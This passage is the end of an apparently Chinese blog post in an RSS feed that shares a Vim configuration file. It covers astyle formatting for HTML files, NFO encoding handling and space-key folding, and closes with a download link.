elseif &amp;filetype == 'html'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;

elseif &amp;filetype == 'htm'
exec &quot;!astyle --style=gnu --suffix=none %&quot;
exec &quot;e! %&quot;

endif
endfunc
&quot;结束定义FormartSrc

&quot; 能够漂亮地显示.NFO文件
set encoding=utf-8
function! SetFileEncodings(encodings)
    let b:myfileencodingsbak=&amp;fileencodings
    let &amp;fileencodings=a:encodings
endfunction
function! RestoreFileEncodings()
    let &amp;fileencodings=b:myfileencodingsbak
    unlet b:myfileencodingsbak
endfunction

au BufReadPre *.nfo call SetFileEncodings('cp437')|set ambiwidth=single
au BufReadPost *.nfo call RestoreFileEncodings()

&quot; 高亮显示普通txt文件（需要txt.vim脚本）
au BufRead,BufNewFile * setfiletype txt

&quot; 用空格键来开关折叠
set foldenable
set foldmethod=manual
nnoremap &lt;space&gt; @=((foldclosed(line('.')) &lt; 0) ? 'zc' : 'zo')&lt;CR&gt;

colo darkblue
</pre>
<p>文件下载： <a href="http://www.dbank.com/download.action?t=40&#038;k=MTM4MzkwMDA=&#038;pcode=LCwyNjUxOCwyNjUxOA==&#038;rnd=9393">点击下载</a></p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1322_excellent-vimrc-backup.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

